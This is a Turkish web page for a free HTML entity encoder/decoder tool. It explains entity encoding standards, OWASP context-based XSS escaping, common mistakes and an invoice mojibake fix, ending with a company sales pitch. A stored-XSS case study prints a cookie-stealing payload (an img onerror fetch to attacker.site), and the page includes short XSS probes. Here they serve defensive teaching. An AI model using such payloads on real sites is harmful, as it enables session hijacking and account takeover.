Ana Sayfa / Ücretsiz Araçlar / HTML Entity Çözücü
Yazılım & Güvenlik

HTML Entity Kodlayıcı & Çözücü

Özel karakterleri HTML güvenli entity kodlarına dönüştürün ve XSS açıklarına karşı kodlarınızı güvenle sanitize edin.

Orijinal Metin / Kod
Dönüştürülmüş Çıktı

HTML Entity Kodlama Nedir? W3C / WHATWG Standartları ve Ayrıştırma Mimarisi

Web sayfaları HTML (HyperText Markup Language) etiketleriyle inşa edilir. Modern web tarayıcıları bir HTML belgesini ağ üzerinden indirip Document Object Model (DOM) ağacına dönüştürürken W3C ve WHATWG HTML Living Standard spesifikasyonlarına göre çalışan bir HTML Tokenizer ve Tree Builder ayrıştırma motoru kullanır. Bu motor, sözdizimi ayracı olarak kabul ettiği <, >, &, " ve ' gibi karakterlerle karşılaştığında yeni bir etiket açılışı veya nitelik (attribute) tanımı başlatır.

Kullanıcı kaynaklı girdiler, veritabanından çekilen dinamik veriler veya teknik dökümantasyonlar doğrudan web sayfasına yazdırıldığında, bu karakterlerin tarayıcı tarafından istem dışı çalıştırılabilir kod (script) sanılmasını önlemek ve metinsel olarak hatasız render edilmesini sağlamak için HTML Entity (Karakter Varlığı) kaçış dizilimleri kullanılır. Bir HTML entity ifadesi her zaman ampersand (&) ile başlar ve noktalı virgül (;) ile sonlanır.

5 Temel XML / HTML Predefined Entity Standardı
&lt;  →  < (Less-Than / U+003C)
&gt;  →  > (Greater-Than / U+003E)
&amp;  →  & (Ampersand / U+0026)
&quot;  →  " (Quote / U+0022)
&apos;  →  ' (Apostrophe / U+0027)

İsimlendirilmiş (Named) ve Sayısal (Numeric Character References - NCR) Varlıklar

HTML varlıkları iki ana grupta temsil edilir:

  • İsimlendirilmiş Varlıklar (Named Entities): Geliştiriciler tarafından kolay hatırlanabilen sembolik adlardır (örneğin &copy; ©, &trade; ™, &euro; € veya &nbsp; bölünemez boşluk). WHATWG standardı 2.200'den fazla isimlendirilmiş varlık tanımlamıştır; ancak bu isimler eski XML ayrıştırıcılar veya katı DTD doğrulayıcılar tarafından tanınmayabilir.
  • Sayısal Varlıklar (Numeric Character References - NCR): Karakterin evrensel Unicode Kod Noktası'nı (Code Point) doğrudan referans alır. İki alt türe ayrılır:
    • Onluk (Decimal) NCR: &#[0-9]+; sözdizimiyle yazılır. Örneğin küçüktür işareti için &#60; veya Türk Lirası sembolü için &#8378;.
    • Onaltılık (Hexadecimal) NCR: &#x[0-9a-fA-F]+; sözdizimiyle yazılır. Örneğin &#x3C; veya Türk Lirası için &#x20BA;. Sayısal varlıklar XML standartlarıyla tam uyumludur ve hiçbir DTD tanımlaması gerektirmeksizin tüm cihazlarda kusursuz render edilir.

Bağlamsal Kodlama (Contextual Encoding) İlkeleri ve OWASP Standartları

OWASP (Open Web Application Security Project) XSS Savunma Kılavuzu'na göre, web uygulamalarında verinin güvenli şekilde yansıtılması (escaping) tamamen verinin DOM içerisindeki bağlamına (context) bağlıdır:

  • HTML Body Bağlamı (<div>...</div>): < ve & karakterlerinin entity haline getirilmesi tarayıcının yeni bir etiket açmasını engeller.
  • HTML Nitelik Bağlamı (<input value="...">): Tırnak işaretlerinin (&quot; ve &#39;) kodlanması, saldırganın nitelik sınırını kırıp onclick veya autofocus eklemesini önler.
  • JavaScript Bağlamı (<script>let data = '...';</script>): HTML Entity kodlaması JavaScript bağlamında etkisizdir! Tarayıcının JavaScript motoru entity'leri çözmez. Bu bağlamda JSON serialization (json_encode) veya Unicode kaçışları (\u0022) kullanılmalıdır.
  • URL / Href Bağlamı (<a href="...">): Saldırgan javascript:alert(1) protokolü enjekte edebilir. Bu bağlamda URL protokol doğrulaması ve RFC 3986 percent-encoding uygulanmalıdır.

Web Veri Kodlama & Sanitizasyon Yöntemleri Karşılaştırma Matrisi

Web geliştirme ve siber güvenlik süreçlerinde kullanılan farklı dönüştürme ve sanitizasyon tekniklerinin kapsamı:

Kodlama & Sanitizasyon Yöntemi Standart / Spesifikasyon Hedef Çıktı Ortamı Güvenlik Kapsamı (Security Scope) Karakter Dönüşüm Örneği Tipik Kullanım Alanı
HTML Entity Encoding W3C HTML5 / WHATWG HTML Body & Standart Attributes XSS & DOM Injection engelleme <script> → &lt;script&gt; Kullanıcı yorumları, CMS makaleleri, form girişleri.
URL Percent-Encoding RFC 3986 URL Path, Query Strings & Form Data HTTP Header & Parametre ayrıştırma İstanbul & Ankara → %C4%B0stanbul%20%26%20Ankara REST API sorguları, arama parametreleri, yönlendirme linkleri.
Base64 Data Encoding RFC 4648 ASCII-Only Protokoller (E-posta, JSON) İkili (Binary) veri bütünlüğü koruma İkili Dosya / Resim → iVBORw0KGgoAAAANSU... Data URI (inline görseller), JWT token'ları, e-posta ekleri.
JSON Unicode Escaping RFC 8259 / ECMA-404 JavaScript Değişkenleri & JSON API JS Injection & JSON parse koruması "Metin" → \u0022Metin\u0022 Backend'den frontend'e veri aktarımı, REST API yanıtları.
HTML Sanitization (DOMPurify) W3C DOM & Safe HTML Spec Zengin Metin (Rich-Text HTML) Zararlı etiket ve event temizleme <b>Ok</b><script>...</script> → <b>Ok</b> WYSIWYG editör içerikleri, forum imzaları, e-posta gövdeleri.

Gerçek Dünya Senaryoları & Uygulamalı Vaka Analizleri

Vaka 1: Kullanıcı Yorum Sisteminde Stored XSS ve Session Hijacking Açığının Önlenmesi

Senaryo & Problem: Aylık 1 milyondan fazla tekil ziyaretçisi olan bir e-ticaret platformunda, ürün detay sayfalarındaki müşteri yorumları veritabanında saklanmakta ve şablon motorunda ham çıktı (raw HTML) olarak sayfaya basılmaktadır ({!! $yorum->icerik !!}). Kötü niyetli bir kullanıcı yorum metni alanına şu zararlı payload'ı eklemiştir:

<img src="x" onerror="fetch('https://attacker.site/log?c='+encodeURIComponent(document.cookie))"> Harika bir ürün, kesinlikle tavsiye ederim!

Platform yöneticisi yorumları onaylamak için yönetim paneline girdiğinde, tarayıcı <img> etiketinin resmini yükleyememiş ve onerror olay işleyicisini tetiklemiştir. Yönetici oturum çerezi (session cookie) saniyeler içinde saldırganın sunucusuna iletilmiş, e-ticaret yönetim paneli ele geçirilmiş ve 4.000'den fazla müşteri siparişi riske girmiştir.

Uygulanan Çözüm: Çok katmanlı savunma stratejisi devreye alınmıştır:

  • Bağlamsal HTML Kaçışı: Şablon motorunda ham çıktı kaldırılmış ve PHP standardı olan htmlspecialchars($yorum->icerik, ENT_QUOTES | ENT_HTML5, 'UTF-8') uygulanmıştır. Böylece <img> etiketi &lt;img&gt; haline gelerek zararsız düz metin olarak gösterilmiştir.
  • HttpOnly & SameSite Çerez Koruması: Oturum çerezlerine HttpOnly; Secure; SameSite=Strict bayrakları atanarak olası XSS açıklarında dahi JavaScript'in (document.cookie) oturum anahtarına erişmesi tarayıcı seviyesinde kilitlenmiştir.
  • İçerik Güvenlik Politikası (CSP): Content-Security-Policy: default-src 'self'; script-src 'self' başlığı eklenerek harici alan adlarına yetkisiz veri aktarımı engellenmiştir.

Vaka 2: E-Posta Şablonlarında ve Kurumsal PDF Motorlarında Karakter Bozulması (Mojibake) Çözümü

Senaryo & Problem: Çok uluslu bir SaaS firmasının fatura oluşturma sistemi (Dompdf / wkhtmltopdf tabanlı) ve eski sürüm kurumsal Outlook e-posta istemcileri, UTF-8 Türk Lirası sembolünü (₺), çift tırnakları (“ ”) ve Türkçe karakterleri (ş, ğ) doğru render edememekte; faturalarda müşteri unvanları Ömer yerine Ömer, tutar haneleri ise 1.500 ₺ veya soru işareti ? şeklinde bozuk (Mojibake) çıkmaktadır. Bu durum kurumsal müşterilerin muhasebe departmanlarıyla ciddi güven krizlerine yol açmıştır.

Uygulanan Çözüm: Dinamik PDF ve HTML e-posta derleme katmanında, Unicode glifleri evrensel Sayısal Varlık (Numeric Character Reference - NCR) kodlarına dönüştürülmüştür:

# Fatura Şablonu Dönüştürme Katmanı (PHP & Regex NCR Pipeline)
$safeInvoiceHtml = preg_replace_callback('/[^\x20-\x7E]/u', function($matches) {
    return '&#' . mb_ord($matches[0], 'UTF-8') . ';';
}, $rawInvoiceHtml);

Teknik Sonuç: Türk Lirası karakteri evrensel onluk kod olan &#8378; (veya onaltılık &#x20BA;) ile değiştirildiğinde, yazı tipi (font-family) desteklemese dahi tarayıcı ve PDF motoru glifi doğru glif tablosundan eşleştirmiştir. Eski Outlook masaüstü uygulamalarından en güncel mobil e-posta istemcilerine kadar tüm platformlarda fatura ve teklifler %100 kusursuz görüntülenmiştir.

HTML Entity Kullanımında Sık Yapılan 6 Kritik Hata ve Çözüm Kontrol Listesi

Hata Tipi Görülen Semptom & Güvenlik Riski Hatalı / Güvensiz Kod Doğru & Standart Yaklaşım
1. JS Bağlamında HTML Entity Script etiketinde HTML entity çözülmez; JavaScript sözdizimi kırılır veya XSS engellenemez. <script>let u = '&quot;';</script> <script>let u = <?= json_encode($val) ?>;</script>
2. Çift Kodlama (Double Encoding) Zaten entity olan metin tekrar kodlanır ve ekranda &amp;lt; çirkin metinleri belirir. htmlspecialchars($zatenKodluMetin) htmlspecialchars($metin, ENT_QUOTES, 'UTF-8', false) (4. argüman $double_encode = false).
3. Tek Tırnağı Atlamak (ENT_COMPAT) PHP'de varsayılan mod eski sürümlerde tek tırnakları (') kaçırmaz; tek tırnaklı attribute'larda XSS oluşur. htmlspecialchars($input) (Varsayılan) htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8')
4. URL ile HTML Encoding Karmaşası URL içindeki & ayracı %26 yapılınca backend parametreyi tek parametre sanır. <a href="p.php?a=1%26b=2"> <a href="p.php?a=1&amp;b=2"> (URL için & kalmalı, HTML için &amp; olmalı).
5. Noktalı Virgülü (;) Unutmak &copy gibi noktalı virgülsüz yazımlar XML, XHTML ve modern katı parser'larda parse hatası verir. &copy 2026 Inovoice &copy; 2026 Inovoice
6. Tüm Türkçe Harfleri Entity Yapmak Sayfadaki her Türkçe harfi &ccedil; yapmak HTML dosya boyutunu %30 şişirir ve SEO taramasını yavaşlatır. &Idot;stanbul &ccedil;&ouml;z&uuml;m Doğrudan UTF-8 düz metin kullanın: İstanbul çözüm (Entity yalnızca < > & " ' için zorunludur).

HTML Entity Hakkında Sıkça Sorulan Sorular

HTML Entity (Varlık) kodlaması nedir ve tarayıcıların DOM ayrıştırma sürecinde nasıl çalışır?
HTML Entity kodlaması, HTML/XML belgelerinde yapısal sözdizimi ayracı olarak kullanılan özel karakterlerin (<, >, &, ", ') veya klavyede doğrudan yer almayan Unicode gliflerinin web tarayıcıları tarafından kod değil düz metin olarak güvenle işlenmesini sağlayan standart kaçış dizilimleridir (&entity_name; veya &#numeric_code;). Tarayıcının HTML Tokenizer motoru entity dizilimini gördüğünde bunu yeni bir DOM etiketi açmak yerine geçerli metin düğümünün (Text Node) bir parçası olarak render eder.
HTML Entity kodlaması ile OWASP XSS (Cross-Site Scripting) savunması arasındaki ilişki nedir?
Kullanıcı kaynaklı girdiler (örneğin <script>alert(1)</script>) doğrudan HTML DOM içerisine basıldığında tarayıcı bunu executable script kabul eder. Doğru bağlamsal HTML Entity kodlaması uygulandığında küçüktür (<) ve tırnak işaretleri kaçırılarak saldırganın DOM bağlamını kırıp yeni bir script etiketi veya zararlı event handler (onload, onerror) eklemesi imkansız hale getirilir.
Named Entity (&amp;) ile Sayısal (Numeric / Hex NCR) Varlıklar arasındaki temel farklar nelerdir?
Named (İsimlendirilmiş) entity'ler insan tarafından okunabilir kısaltmalardır (örneğin © veya &); ancak HTML DTD / WHATWG tablosunda önceden tanımlanmış yaklaşık 2.200 varlıkla sınırlıdır. Numeric (Onluk/Onaltılık NCR) entity'ler ise (örneğin & veya &) karakterin evrensel Unicode kod noktasını (Code Point) doğrudan temsil eder; tüm 140.000+ Unicode karakterini kapsar ve XML, eski tarayıcılar ile PDF render motorlarında kusursuz evrensel uyumluluk sunar.
Neden JavaScript veya URL context'inde yalnızca HTML Entity encode yapmak XSS'i engellemez?
Web güvenliğinde bağlam (context) kritiktir. HTML Entity kodlaması yalnızca HTML gövdesi (Body) ve standart etiket nitelikleri (Attribute) içinde koruma sağlar. Eğer veri <script> etiketi içinde, inline onclick işleyicisinde veya href='javascript:...' niteliğinde yer alıyorsa, tarayıcı önce JavaScript motorunu veya URL şemasını çalıştırır. Bu bağlamlarda JSON serializer (json_encode) veya sıkı URL encoding kullanılmalıdır.
PHP, Node.js ve modern framework'lerde güvenli HTML sanitizasyonu nasıl uygulanır (ENT_QUOTES standardı)?
PHP'de htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8') fonksiyonu hem çift hem de tek tırnakları eksiksiz kaçırarak endüstri standardı güvenlik sağlar. Node.js ve React/Vue gibi modern SPA kütüphanelerinde ise JSX çift süslü parantez ({variable}) varsayılan olarak güvenli text escaping uygular. Ham HTML basılması gereken yerlerde DOMPurify veya HTMLPurifier gibi yetkili kütüphaneler kullanılmalıdır.
Modern UTF-8 web sitelerinde Türkçe ve özel karakterleri entity olarak kodlamak SEO veya performansı etkiler mi?
Modern web standartlarında <meta charset='UTF-8'> tanımlı sitelerde Türkçe karakterleri (ş, ğ, ü, ç, ö, ı) entity olarak (ç, ş) kodlamak önerilmez. Her bir Türkçe karakteri 5-8 baytlık entity kodlarına çevirmek HTML kaynak kod boyutunu gereksizce %20-30 artırır ve arama motoru botlarının semantik metin indeksleme hızını düşürür. Entity kodlaması yalnızca HTML sözdizimini bozan 5 temel karakter (<, >, &, ", ') ve standart dışı tipografik semboller için kullanılmalıdır.

Web Uygulamalarınız OWASP Siber Güvenlik Standartlarına Uygun mu?

Inovoice olarak kurumsal web projelerinde XSS, SQLi ve CSRF güvenlik açıklarına karşı uçtan uca kaynak kod denetimi, penetrasyon testi danışmanlığı ve yüksek güvenlikli özel yazılım mimarileri inşa ediyoruz.

Teklif Alın

Projenizi Anlatın

Fikirlerinizi gerçeğe dönüştürmek için ilk adımı atın. Uzman ekibimiz hemen dönüş yapsın.

Talebiniz başarıyla alındı.
Size en kısa sürede ulaşacağız.
Hemen Ara WhatsApp Teklif Al